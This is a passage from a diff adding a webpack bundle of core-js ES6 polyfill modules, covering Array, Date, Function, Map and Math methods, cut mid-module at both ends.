'Array', { + // 22.1.3.5 / 15.4.4.16 Array.prototype.every(callbackfn [, thisArg]) + every: function every(callbackfn /* , thisArg */) { + return $every(this, callbackfn, arguments[1]); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.fill.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.fill.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 22.1.3.6 Array.prototype.fill(value, start = 0, end = this.length) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.P, 'Array', { fill: __webpack_require__(/*! ./_array-fill */ "./node_modules/core-js/modules/_array-fill.js") }); + +__webpack_require__(/*! ./_add-to-unscopables */ "./node_modules/core-js/modules/_add-to-unscopables.js")('fill'); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.filter.js": +/*!**********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.filter.js ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $filter = __webpack_require__(/*! ./_array-methods */ "./node_modules/core-js/modules/_array-methods.js")(2); + +$export($export.P + $export.F * !__webpack_require__(/*! ./_strict-method */ "./node_modules/core-js/modules/_strict-method.js")([].filter, true), 'Array', { + // 22.1.3.7 / 15.4.4.20 Array.prototype.filter(callbackfn [, thisArg]) + filter: function filter(callbackfn /* , thisArg */) { + return $filter(this, callbackfn, arguments[1]); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.find-index.js": +/*!**************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.find-index.js ***! + \**************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// 22.1.3.9 Array.prototype.findIndex(predicate, thisArg = undefined) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $find = __webpack_require__(/*! ./_array-methods */ "./node_modules/core-js/modules/_array-methods.js")(6); +var KEY = 'findIndex'; +var forced = true; +// Shouldn't skip holes +if (KEY in []) Array(1)[KEY](function () { forced = false; }); +$export($export.P + $export.F * forced, 'Array', { + findIndex: function findIndex(callbackfn /* , that = undefined */) { + return $find(this, callbackfn, arguments.length > 1 ? arguments[1] : undefined); + } +}); +__webpack_require__(/*! ./_add-to-unscopables */ "./node_modules/core-js/modules/_add-to-unscopables.js")(KEY); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.find.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.find.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// 22.1.3.8 Array.prototype.find(predicate, thisArg = undefined) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $find = __webpack_require__(/*! ./_array-methods */ "./node_modules/core-js/modules/_array-methods.js")(5); +var KEY = 'find'; +var forced = true; +// Shouldn't skip holes +if (KEY in []) Array(1)[KEY](function () { forced = false; }); +$export($export.P + $export.F * forced, 'Array', { + find: function find(callbackfn /* , that = undefined */) { + return $find(this, callbackfn, arguments.length > 1 ? arguments[1] : undefined); + } +}); +__webpack_require__(/*! ./_add-to-unscopables */ "./node_modules/core-js/modules/_add-to-unscopables.js")(KEY); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.for-each.js": +/*!************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.for-each.js ***! + \************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $forEach = __webpack_require__(/*! ./_array-methods */ "./node_modules/core-js/modules/_array-methods.js")(0); +var STRICT = __webpack_require__(/*! ./_strict-method */ "./node_modules/core-js/modules/_strict-method.js")([].forEach, true); + +$export($export.P + $export.F * !STRICT, 'Array', { + // 22.1.3.10 / 15.4.4.18 Array.prototype.forEach(callbackfn [, thisArg]) + forEach: function forEach(callbackfn /* , thisArg */) { + return $forEach(this, callbackfn, arguments[1]); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.from.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.from.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var ctx = __webpack_require__(/*! ./_ctx */ "./node_modules/core-js/modules/_ctx.js"); +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js"); +var call = __webpack_require__(/*! ./_iter-call */ "./node_modules/core-js/modules/_iter-call.js"); +var isArrayIter = __webpack_require__(/*! ./_is-array-iter */ "./node_modules/core-js/modules/_is-array-iter.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); +var createProperty = __webpack_require__(/*! ./_create-property */ "./node_modules/core-js/modules/_create-property.js"); +var getIterFn = __webpack_require__(/*! ./core.get-iterator-method */ "./node_modules/core-js/modules/core.get-iterator-method.js"); + +$export($export.S + $export.F * !__webpack_require__(/*! ./_iter-detect */ "./node_modules/core-js/modules/_iter-detect.js")(function (iter) { Array.from(iter); }), 'Array', { + // 22.1.2.1 Array.from(arrayLike, mapfn = undefined, thisArg = undefined) + from: function from(arrayLike /* , mapfn = undefined, thisArg = undefined */) { + var O = toObject(arrayLike); + var C = typeof this == 'function' ? this : Array; + var aLen = arguments.length; + var mapfn = aLen > 1 ? arguments[1] : undefined; + var mapping = mapfn !== undefined; + var index = 0; + var iterFn = getIterFn(O); + var length, result, step, iterator; + if (mapping) mapfn = ctx(mapfn, aLen > 2 ? arguments[2] : undefined, 2); + // if object isn't iterable or it's array with default iterator - use simple case + if (iterFn != undefined && !(C == Array && isArrayIter(iterFn))) { + for (iterator = iterFn.call(O), result = new C(); !(step = iterator.next()).done; index++) { + createProperty(result, index, mapping ? call(iterator, mapfn, [step.value, index], true) : step.value); + } + } else { + length = toLength(O.length); + for (result = new C(length); length > index; index++) { + createProperty(result, index, mapping ? mapfn(O[index], index) : O[index]); + } + } + result.length = index; + return result; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.index-of.js": +/*!************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.index-of.js ***! + \************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $indexOf = __webpack_require__(/*! ./_array-includes */ "./node_modules/core-js/modules/_array-includes.js")(false); +var $native = [].indexOf; +var NEGATIVE_ZERO = !!$native && 1 / [1].indexOf(1, -0) < 0; + +$export($export.P + $export.F * (NEGATIVE_ZERO || !__webpack_require__(/*! ./_strict-method */ "./node_modules/core-js/modules/_strict-method.js")($native)), 'Array', { + // 22.1.3.11 / 15.4.4.14 Array.prototype.indexOf(searchElement [, fromIndex]) + indexOf: function indexOf(searchElement /* , fromIndex = 0 */) { + return NEGATIVE_ZERO + // convert -0 to +0 + ? $native.apply(this, arguments) || 0 + : $indexOf(this, searchElement, arguments[1]); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.is-array.js": +/*!************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.is-array.js ***! + \************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 22.1.2.2 / 15.4.3.2 Array.isArray(arg) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Array', { isArray: __webpack_require__(/*! ./_is-array */ "./node_modules/core-js/modules/_is-array.js") }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.iterator.js": +/*!************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.iterator.js ***! + \************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var addToUnscopables = __webpack_require__(/*! ./_add-to-unscopables */ "./node_modules/core-js/modules/_add-to-unscopables.js"); +var step = __webpack_require__(/*! ./_iter-step */ "./node_modules/core-js/modules/_iter-step.js"); +var Iterators = __webpack_require__(/*! ./_iterators */ "./node_modules/core-js/modules/_iterators.js"); +var toIObject = __webpack_require__(/*! ./_to-iobject */ "./node_modules/core-js/modules/_to-iobject.js"); + +// 22.1.3.4 Array.prototype.entries() +// 22.1.3.13 Array.prototype.keys() +// 22.1.3.29 Array.prototype.values() +// 22.1.3.30 Array.prototype[@@iterator]() +module.exports = __webpack_require__(/*! ./_iter-define */ "./node_modules/core-js/modules/_iter-define.js")(Array, 'Array', function (iterated, kind) { + this._t = toIObject(iterated); // target + this._i = 0; // next index + this._k = kind; // kind +// 22.1.5.2.1 %ArrayIteratorPrototype%.next() +}, function () { + var O = this._t; + var kind = this._k; + var index = this._i++; + if (!O || index >= O.length) { + this._t = undefined; + return step(1); + } + if (kind == 'keys') return step(0, index); + if (kind == 'values') return step(0, O[index]); + return step(0, [index, O[index]]); +}, 'values'); + +// argumentsList[@@iterator] is %ArrayProto_values% (9.4.4.6, 9.4.4.7) +Iterators.Arguments = Iterators.Array; + +addToUnscopables('keys'); +addToUnscopables('values'); +addToUnscopables('entries'); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.join.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.join.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// 22.1.3.13 Array.prototype.join(separator) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var toIObject = __webpack_require__(/*! ./_to-iobject */ "./node_modules/core-js/modules/_to-iobject.js"); +var arrayJoin = [].join; + +// fallback for not array-like strings +$export($export.P + $export.F * (__webpack_require__(/*! ./_iobject */ "./node_modules/core-js/modules/_iobject.js") != Object || !__webpack_require__(/*! ./_strict-method */ "./node_modules/core-js/modules/_strict-method.js")(arrayJoin)), 'Array', { + join: function join(separator) { + return arrayJoin.call(toIObject(this), separator === undefined ? ',' : separator); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.last-index-of.js": +/*!*****************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.last-index-of.js ***! + \*****************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var toIObject = __webpack_require__(/*! ./_to-iobject */ "./node_modules/core-js/modules/_to-iobject.js"); +var toInteger = __webpack_require__(/*! ./_to-integer */ "./node_modules/core-js/modules/_to-integer.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); +var $native = [].lastIndexOf; +var NEGATIVE_ZERO = !!$native && 1 / [1].lastIndexOf(1, -0) < 0; + +$export($export.P + $export.F * (NEGATIVE_ZERO || !__webpack_require__(/*! ./_strict-method */ "./node_modules/core-js/modules/_strict-method.js")($native)), 'Array', { + // 22.1.3.14 / 15.4.4.15 Array.prototype.lastIndexOf(searchElement [, fromIndex]) + lastIndexOf: function lastIndexOf(searchElement /* , fromIndex = @[*-1] */) { + // convert -0 to +0 + if (NEGATIVE_ZERO) return $native.apply(this, arguments) || 0; + var O = toIObject(this); + var length = toLength(O.length); + var index = length - 1; + if (arguments.length > 1) index = Math.min(index, toInteger(arguments[1])); + if (index < 0) index = length + index; + for (;index >= 0; index--) if (index in O) if (O[index] === searchElement) return index || 0; + return -1; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.map.js": +/*!*******************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.map.js ***! + \*******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $map = __webpack_require__(/*! ./_array-methods */ "./node_modules/core-js/modules/_array-methods.js")(1); + +$export($export.P + $export.F * !__webpack_require__(/*! ./_strict-method */ "./node_modules/core-js/modules/_strict-method.js")([].map, true), 'Array', { + // 22.1.3.15 / 15.4.4.19 Array.prototype.map(callbackfn [, thisArg]) + map: function map(callbackfn /* , thisArg */) { + return $map(this, callbackfn, arguments[1]); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.of.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.of.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var createProperty = __webpack_require__(/*! ./_create-property */ "./node_modules/core-js/modules/_create-property.js"); + +// WebKit Array.of isn't generic +$export($export.S + $export.F * __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () { + function F() { /* empty */ } + return !(Array.of.call(F) instanceof F); +}), 'Array', { + // 22.1.2.3 Array.of( ...items) + of: function of(/* ...args */) { + var index = 0; + var aLen = arguments.length; + var result = new (typeof this == 'function' ? this : Array)(aLen); + while (aLen > index) createProperty(result, index, arguments[index++]); + result.length = aLen; + return result; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.reduce-right.js": +/*!****************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.reduce-right.js ***! + \****************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $reduce = __webpack_require__(/*! ./_array-reduce */ "./node_modules/core-js/modules/_array-reduce.js"); + +$export($export.P + $export.F * !__webpack_require__(/*! ./_strict-method */ "./node_modules/core-js/modules/_strict-method.js")([].reduceRight, true), 'Array', { + // 22.1.3.19 / 15.4.4.22 Array.prototype.reduceRight(callbackfn [, initialValue]) + reduceRight: function reduceRight(callbackfn /* , initialValue */) { + return $reduce(this, callbackfn, arguments.length, arguments[1], true); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.reduce.js": +/*!**********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.reduce.js ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $reduce = __webpack_require__(/*! ./_array-reduce */ "./node_modules/core-js/modules/_array-reduce.js"); + +$export($export.P + $export.F * !__webpack_require__(/*! ./_strict-method */ "./node_modules/core-js/modules/_strict-method.js")([].reduce, true), 'Array', { + // 22.1.3.18 / 15.4.4.21 Array.prototype.reduce(callbackfn [, initialValue]) + reduce: function reduce(callbackfn /* , initialValue */) { + return $reduce(this, callbackfn, arguments.length, arguments[1], false); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.slice.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.slice.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var html = __webpack_require__(/*! ./_html */ "./node_modules/core-js/modules/_html.js"); +var cof = __webpack_require__(/*! ./_cof */ "./node_modules/core-js/modules/_cof.js"); +var toAbsoluteIndex = __webpack_require__(/*! ./_to-absolute-index */ "./node_modules/core-js/modules/_to-absolute-index.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); +var arraySlice = [].slice; + +// fallback for not array-like ES3 strings and DOM objects +$export($export.P + $export.F * __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () { + if (html) arraySlice.call(html); +}), 'Array', { + slice: function slice(begin, end) { + var len = toLength(this.length); + var klass = cof(this); + end = end === undefined ? len : end; + if (klass == 'Array') return arraySlice.call(this, begin, end); + var start = toAbsoluteIndex(begin, len); + var upTo = toAbsoluteIndex(end, len); + var size = toLength(upTo - start); + var cloned = new Array(size); + var i = 0; + for (; i < size; i++) cloned[i] = klass == 'String' + ? this.charAt(start + i) + : this[start + i]; + return cloned; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.some.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.some.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $some = __webpack_require__(/*! ./_array-methods */ "./node_modules/core-js/modules/_array-methods.js")(3); + +$export($export.P + $export.F * !__webpack_require__(/*! ./_strict-method */ "./node_modules/core-js/modules/_strict-method.js")([].some, true), 'Array', { + // 22.1.3.23 / 15.4.4.17 Array.prototype.some(callbackfn [, thisArg]) + some: function some(callbackfn /* , thisArg */) { + return $some(this, callbackfn, arguments[1]); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.sort.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.sort.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var aFunction = __webpack_require__(/*! ./_a-function */ "./node_modules/core-js/modules/_a-function.js"); +var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js"); +var fails = __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js"); +var $sort = [].sort; +var test = [1, 2, 3]; + +$export($export.P + $export.F * (fails(function () { + // IE8- + test.sort(undefined); +}) || !fails(function () { + // V8 bug + test.sort(null); + // Old WebKit +}) || !__webpack_require__(/*! ./_strict-method */ "./node_modules/core-js/modules/_strict-method.js")($sort)), 'Array', { + // 22.1.3.25 Array.prototype.sort(comparefn) + sort: function sort(comparefn) { + return comparefn === undefined + ? $sort.call(toObject(this)) + : $sort.call(toObject(this), aFunction(comparefn)); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.array.species.js": +/*!***********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.array.species.js ***! + \***********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +__webpack_require__(/*! ./_set-species */ "./node_modules/core-js/modules/_set-species.js")('Array'); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.date.now.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/es6.date.now.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.3.3.1 / 15.9.4.4 Date.now() +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Date', { now: function () { return new Date().getTime(); } }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.date.to-iso-string.js": +/*!****************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.date.to-iso-string.js ***! + \****************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.3.4.36 / 15.9.5.43 Date.prototype.toISOString() +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var toISOString = __webpack_require__(/*! ./_date-to-iso-string */ "./node_modules/core-js/modules/_date-to-iso-string.js"); + +// PhantomJS / old WebKit has a broken implementations +$export($export.P + $export.F * (Date.prototype.toISOString !== toISOString), 'Date', { + toISOString: toISOString +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.date.to-json.js": +/*!**********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.date.to-json.js ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js"); +var toPrimitive = __webpack_require__(/*! ./_to-primitive */ "./node_modules/core-js/modules/_to-primitive.js"); + +$export($export.P + $export.F * __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () { + return new Date(NaN).toJSON() !== null + || Date.prototype.toJSON.call({ toISOString: function () { return 1; } }) !== 1; +}), 'Date', { + // eslint-disable-next-line no-unused-vars + toJSON: function toJSON(key) { + var O = toObject(this); + var pv = toPrimitive(O); + return typeof pv == 'number' && !isFinite(pv) ? null : O.toISOString(); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.date.to-primitive.js": +/*!***************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.date.to-primitive.js ***! + \***************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var TO_PRIMITIVE = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('toPrimitive'); +var proto = Date.prototype; + +if (!(TO_PRIMITIVE in proto)) __webpack_require__(/*! ./_hide */ "./node_modules/core-js/modules/_hide.js")(proto, TO_PRIMITIVE, __webpack_require__(/*! ./_date-to-primitive */ "./node_modules/core-js/modules/_date-to-primitive.js")); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.date.to-string.js": +/*!************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.date.to-string.js ***! + \************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var DateProto = Date.prototype; +var INVALID_DATE = 'Invalid Date'; +var TO_STRING = 'toString'; +var $toString = DateProto[TO_STRING]; +var getTime = DateProto.getTime; +if (new Date(NaN) + '' != INVALID_DATE) { + __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js")(DateProto, TO_STRING, function toString() { + var value = getTime.call(this); + // eslint-disable-next-line no-self-compare + return value === value ? $toString.call(this) : INVALID_DATE; + }); +} + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.function.bind.js": +/*!***********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.function.bind.js ***! + \***********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.2.3.2 / 15.3.4.5 Function.prototype.bind(thisArg, args...) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.P, 'Function', { bind: __webpack_require__(/*! ./_bind */ "./node_modules/core-js/modules/_bind.js") }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.function.has-instance.js": +/*!*******************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.function.has-instance.js ***! + \*******************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var getPrototypeOf = __webpack_require__(/*! ./_object-gpo */ "./node_modules/core-js/modules/_object-gpo.js"); +var HAS_INSTANCE = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('hasInstance'); +var FunctionProto = Function.prototype; +// 19.2.3.6 Function.prototype[@@hasInstance](V) +if (!(HAS_INSTANCE in FunctionProto)) __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js").f(FunctionProto, HAS_INSTANCE, { value: function (O) { + if (typeof this != 'function' || !isObject(O)) return false; + if (!isObject(this.prototype)) return O instanceof this; + // for environment w/o native `@@hasInstance` logic enough `instanceof`, but add this: + while (O = getPrototypeOf(O)) if (this.prototype === O) return true; + return false; +} }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.function.name.js": +/*!***********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.function.name.js ***! + \***********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var dP = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js").f; +var FProto = Function.prototype; +var nameRE = /^\s*function ([^ (]*)/; +var NAME = 'name'; + +// 19.2.4.2 name +NAME in FProto || __webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js") && dP(FProto, NAME, { + configurable: true, + get: function () { + try { + return ('' + this).match(nameRE)[1]; + } catch (e) { + return ''; + } + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.map.js": +/*!*************************************************!*\ + !*** ./node_modules/core-js/modules/es6.map.js ***! + \*************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var strong = __webpack_require__(/*! ./_collection-strong */ "./node_modules/core-js/modules/_collection-strong.js"); +var validate = __webpack_require__(/*! ./_validate-collection */ "./node_modules/core-js/modules/_validate-collection.js"); +var MAP = 'Map'; + +// 23.1 Map Objects +module.exports = __webpack_require__(/*! ./_collection */ "./node_modules/core-js/modules/_collection.js")(MAP, function (get) { + return function Map() { return get(this, arguments.length > 0 ? arguments[0] : undefined); }; +}, { + // 23.1.3.6 Map.prototype.get(key) + get: function get(key) { + var entry = strong.getEntry(validate(this, MAP), key); + return entry && entry.v; + }, + // 23.1.3.9 Map.prototype.set(key, value) + set: function set(key, value) { + return strong.def(validate(this, MAP), key === 0 ? 0 : key, value); + } +}, strong, true); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.acosh.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.acosh.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.3 Math.acosh(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var log1p = __webpack_require__(/*! ./_math-log1p */ "./node_modules/core-js/modules/_math-log1p.js"); +var sqrt = Math.sqrt; +var $acosh = Math.acosh; + +$export($export.S + $export.F * !($acosh + // V8 bug: https://code.google.com/p/v8/issues/detail?id=3509 + && Math.floor($acosh(Number.MAX_VALUE)) == 710 + // Tor Browser bug: Math.acosh(Infinity) -> NaN + && $acosh(Infinity) == Infinity +), 'Math', { + acosh: function acosh(x) { + return (x = +x) < 1 ? NaN : x > 94906265.62425156 + ? Math.log(x) + Math.LN2 + : log1p(x - 1 + sqrt(x - 1) * sqrt(x + 1)); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.asinh.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.asinh.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.5 Math.asinh(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $asinh = Math.asinh; + +function asinh(x) { + return !isFinite(x = +x) || x == 0 ? x : x < 0 ? -asinh(-x) : Math.log(x + Math.sqrt(x * x + 1)); +} + +// Tor Browser bug: Math.asinh(0) -> -0 +$export($export.S + $export.F * !($asinh && 1 / $asinh(0) > 0), 'Math', { asinh: asinh }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.atanh.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.atanh.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.7 Math.atanh(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $atanh = Math.atanh; + +// Tor Browser bug: Math.atanh(-0) -> 0 +$export($export.S + $export.F * !($atanh && 1 / $atanh(-0) < 0), 'Math', { + atanh: function atanh(x) { + return (x = +x) == 0 ? x : Math.log((1 + x) / (1 - x)) / 2; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.cbrt.js": +/*!*******************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.cbrt.js ***! + \*******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.9 Math.cbrt(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var sign = __webpack_require__(/*! ./_math-sign */ "./node_modules/core-js/modules/_math-sign.js"); + +$export($export.S, 'Math', { + cbrt: function cbrt(x) { + return sign(x = +x) * Math.pow(Math.abs(x), 1 / 3); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.clz32.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.clz32.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.11 Math.clz32(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Math', { + clz32: function clz32(x) { + return (x >>>= 0) ? 31 - Math.floor(Math.log(x + 0.5) * Math.LOG2E) : 32; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.cosh.js": +/*!*******************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.cosh.js ***! + \*******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.12 Math.cosh(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var exp = Math.exp; + +$export($export.S, 'Math', { + cosh: function cosh(x) { + return (exp(x = +x) + exp(-x)) / 2; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.expm1.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.expm1.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.14 